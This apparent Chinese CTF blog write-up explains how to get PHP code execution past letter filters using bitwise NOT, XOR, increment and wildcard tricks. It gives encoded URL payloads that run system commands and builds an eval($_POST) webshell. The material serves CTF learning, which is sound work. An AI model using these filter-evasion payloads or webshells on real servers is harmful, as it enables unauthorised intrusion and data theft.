首页 > 其他分享 >无字母RCE绕过(取反,异或,自增,通配符)

无字母RCE绕过(取反,异或,自增,通配符)

时间:2024-07-26 23:30:16浏览次数:10  
标签:自增 fe% 9E% 取反 93% 异或 98%

原理参考:无数字字母rce总结(取反、异或、自增、临时文件)-CSDN博客

RCE篇之无数字字母rce - 学安全的小白 - 博客园 (cnblogs.com)

RCE通配符绕过-CSDN博客

以下是我的个人理解及例题

1.取反

例题:[SWPUCTF 2021 新生赛]hardrce | NSSCTF

取反用法就是对我们想要执行的语句通过取反符号"~"先准备好取反编码后语句,在通过(~)

写到url里达到绕过过滤a-z的目的,适用于没过滤"~"符号的题目

模型:?code=(语句1)(语句2)();

本题payload:

http://node5.anna.nssctf.cn:29866/?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0)();
http://node5.anna.nssctf.cn:29866/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98)();

 2.异或"^"

例题:BUUCTF在线评测 (buuoj.cn)里的RCEme(这题用取反也行)

异或“^”,通过该符号可以通过二进制异或操作将两个字符拼接为一个

规则:1^1=0,1^0=1,0^1=1,0^0=0

比如a的二进制是01100001

就可通过!         00100001

和          @          01000000

异或来得到

本题payload为

http://45462824-8ac4-45c7-aa10-db156ace2026.node5.buuoj.cn:81/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

但链接上蚁剑后,由于有disable_functions里面的flag文件无法读取,找的别人的wp

[极客大挑战 2019]RCE ME - 云千 - 博客园 (cnblogs.com)

3.自增

利用php中数组与字符串强制链接,数组会强制转化为Array这个字符,在通过+号来得到我们所需要的字符

例题:

[HNCTF 2022 Week1]Challenge__rce | NSSCTF

4.通配符

在Linux系统中可以使用 ? * 等字符来正则匹配字母星号

*号可以用来代替0个及以上任意字符

?号可以用来代替1个任意字符

例题:CTFHub里的hate_php

构造?><?= 语句?>

相当于?><?php echo 语句?>

本题payload:

?code=?><?=`/???/??? /????`?>

标签:自增,fe%,9E%,取反,93%,异或,98%
From: https://blog.csdn.net/2301_80307383/article/details/140725227

相关文章

  • 异或与乘积(又是一道数学)
    Tomoyuki-Mizuyama有一个\(n\)(\(2\len\le10^5\))个数的序列。现在他想做若干次操作,每次选择两个数,把他们异或起来,之后删除这两个数,并把他们异或后的结果加入序列。他进行若干次操作后,会把序列中剩下的数全部乘起来。他想知道最后的结果最大是多少。注意,Tomoyuki-Mizuyama最多......
  • 异或运算(XOR)的可交换性证明
    异或运算(XOR)的可交换性是指:若\(a\oplusb=c\),那么有\(a\oplusc=b\)且\(b\oplusc=a\)证明:不失一般性,我们只需证明第一个等式\(a\oplusc=b\)。首先:按位异或运算有以下几个重要性质:交换律:\(a\oplusb=b\oplusa\)结合律:\(a\oplus(b\oplusc)......
  • 代码随想录算法训练营第30天 | 贪心算法 2: 122.买卖股票的最佳时机II、55. 跳跃游戏
    代码随想录算法训练营第30天|贪心算法2:122.买卖股票的最佳时机II、55.跳跃游戏、45.跳跃游戏II、1005.K次取反后最大化的数组和122.买卖股票的最佳时机IIhttps://leetcode.cn/problems/best-time-to-buy-and-sell-stock-ii/description/代码随想录https://programmerca......
  • 代码随想录day 29 买卖股票的最佳时机II | 跳跃游戏 | 跳跃游戏II | K次取反后最大化
    买卖股票的最佳时机II买卖股票的最佳时机II解题思路利用贪心算法,只要股票卖了后一天能获利,就买了,所以只要遍历一下整个数组,根据这个算法就能得到最终获利的数目知识点贪心心得歪打正着的一题跳跃游戏跳跃游戏解题思路利用贪心算法,只需要有一次跳转到数组之外说明就能跳......
  • Postgresql主键自增的方法
    Postgresql主键自增的方法一.方法(一)使用 serialPRIMARYKEY插入数据 二.方法(二)......
  • NC275631 嘤嘤不想求异或喵,NC274492 76与61,NC273546 小红的数组移动
    目录NC275631嘤嘤不想求异或喵题目描述运行代码代码思路ff 函数解释:主函数解释:NC27449276与61题目描述运行代码代码思路函数 countSubsequences 的工作原理:举例说明:NC273546小红的数组移动题目描述运行代码代码思路嘤嘤不想求异或喵题目描述登录—专......
  • MySql 创建完表后,进行主键自增的设置、文件上传之后,保存到数据库里(拿到文件名,文件大小
    20240715一、MySql创建完表后,进行主键自增的设置二、文件上传之后,保存到数据库里(拿到文件名,文件大小等文件信息)三、redis缓存更新的模式四、mybatisPlus一、MySql创建完表后,进行主键自增的设置第一种方式:altertable表名changeididintauto_increment;......
  • 黑球白球巧妙异或问题
    题目:一个桶里一共有a个白球和b个黑球。每次拿出2个球,并且每个球被拿出的概率相等。如果拿出一黑一白,就往桶里放进一个黑球;如果拿出两个黑或者两个白,就往桶里放进一个白球。求:最后只剩一个黑球的概率是多少? 答案:如果黑球个数是偶数,最后剩下为黑球的概率是0%......
  • 异或二分法盲注脚本分享
    异或二分法盲注脚本#-*-coding:utf-8-*-importrequestsimporttime#目标urlhost="http://localhost/sqli-labs-master/Less-5/?id="#获取数据库名defget_database():globalhostans=''foriinrange(1,......
  • Mybatis Plus 3.X版本的insert填充自增id的IdType.ID_WORKER策略源码分析
    总结/朱季谦某天同事突然问我,你知道MybatisPlus的insert方法,插入数据后自增id是如何自增的吗?我愣了一下,脑海里只想到,当在POJO类的id设置一个自增策略后,例如@TableId(value="id",type=IdType.ID_WORKER)的注解策略时,就能实现在每次数据插入数据库时,实现id的自增,例如以下形式......